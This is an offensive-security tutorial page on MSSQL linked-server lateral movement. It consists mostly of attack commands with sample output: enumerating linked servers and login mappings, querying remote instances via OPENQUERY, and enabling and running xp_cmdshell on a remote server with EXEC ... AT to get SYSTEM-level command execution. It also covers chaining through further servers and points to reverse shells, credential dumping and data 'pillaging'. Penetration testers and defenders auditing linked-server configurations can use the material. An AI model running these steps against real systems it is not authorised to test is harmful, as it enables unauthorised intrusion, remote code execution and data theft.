# Lateral Movement via MSSQL Linked Servers

> Exploiting MSSQL linked server trust relationships to pivot across database instances and execute commands on remote SQL servers.

- **URL:** https://hackindex.io/services/mssql/lateral-movement/lateral-movement-via-mssql-linked-servers
- **Path:** MSSQL > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/mssql/lateral-movement.md)
- **Published:** 2026-03-26
- **Updated:** 2026-05-15

Linked servers allow SQL Server to forward queries to remote SQL Server instances, Oracle databases, and other OLE DB sources. When RPC Out is enabled on a linked server, stored procedures including xp_cmdshell can be executed on the remote instance through the current connection. The security context used on the remote end depends on the linked server login mapping: often a high-privilege service account or the self-mapped current login.

This is a lateral movement path that requires no additional credentials when the linked server is configured with a privileged mapped login.

Key linked server configuration fields to check:

- `is_rpc_out_enabled`: allows remote stored procedure execution (xp_cmdshell)
- `is_data_access_enabled`: allows OPENQUERY data retrieval
- Login mapping: self-mapping inherits your identity, fixed mapping uses a stored credential

## MSSQL linked server lateral movement: enumeration

List all linked servers and key configuration fields from the current instance:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

```sql
SELECT name, product, data_source, is_rpc_out_enabled, is_data_access_enabled FROM sys.servers WHERE is_linked = 1;
# name          data_source    is_rpc_out_enabled  is_data_access_enabled
# SQL-PROD-02   10.10.10.52    1                   1
# SQL-BACKUP    10.10.10.55    0                   1
```

SQL-PROD-02 has RPC Out enabled, making it a target for remote stored procedure execution. SQL-BACKUP only has data access enabled, so queries are possible but not procedure calls. Focus on linked servers with is_rpc_out_enabled = 1.

Check what login the linked server connection uses on the remote end:

```sql
EXEC sp_helplinkedsrvlogin;
# Linked Server   Local Login   Is Self Mapping   Remote Login
# SQL-PROD-02     NULL          1                 NULL
```

Is Self Mapping of 1 means the connection uses your current login identity on the remote server. If the current login has sysadmin on the remote instance, you have full access. A Remote Login value indicates a fixed credential is used: worth checking what privilege level that account has.

## Execute Queries on the Linked Server

Run queries on the remote instance using OPENQUERY. This works when data access is enabled regardless of RPC Out status:

```sql
SELECT * FROM OPENQUERY([SQL-PROD-02], 'SELECT SYSTEM_USER AS login, IS_SRVROLEMEMBER(''sysadmin'') AS is_sysadmin');
# login           is_sysadmin
# CORP\sqlsvc     1
```

Sysadmin on the remote instance through the linked server means you have full control of SQL-PROD-02 from the current connection without any additional credentials or network access.

## Execute Stored Procedures on the Linked Server

With RPC Out enabled, use the AT keyword to run stored procedures on the remote instance directly. Enable and use xp_cmdshell on the remote server:

```sql
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [SQL-PROD-02];
```

```sql
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL-PROD-02];
```

```sql
EXEC ('xp_cmdshell ''whoami'';') AT [SQL-PROD-02];
# output
# --------------------
# nt authority\system
```

OS command execution confirmed on the remote SQL Server instance through the linked server connection. Get a reverse shell from the remote host using the same xp_cmdshell reverse shell approach from the exploitation page, executed via the AT syntax.

## Chain Through Multiple Linked Servers

Linked servers can chain: a linked server on the remote instance may connect to a third instance. Enumerate linked servers on the remote instance after pivoting to it:

```sql
SELECT * FROM OPENQUERY([SQL-PROD-02], 'SELECT name, data_source, is_rpc_out_enabled FROM sys.servers WHERE is_linked = 1');
```

Any linked servers returned from the remote instance are accessible by chaining OPENQUERY calls or by establishing a direct connection to the newly discovered instance using credentials harvested from the current host.

For credentials stored in linked server login mappings, see [MSSQL Credential Dump](https://hackindex.io/services/mssql/post-exploitation/mssql-credential-dump). After pivoting to a new instance, run [MSSQL Database Pillaging](https://hackindex.io/services/mssql/post-exploitation/mssql-database-pillaging) against it to extract application data.

## References

- [Microsoft: Linked Servers](https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine) - Linked server configuration, login mappings, and RPC Out behavior
- [Microsoft: OPENQUERY](https://learn.microsoft.com/en-us/sql/t-sql/functions/openquery-transact-sql) - OPENQUERY syntax for pass-through queries to linked servers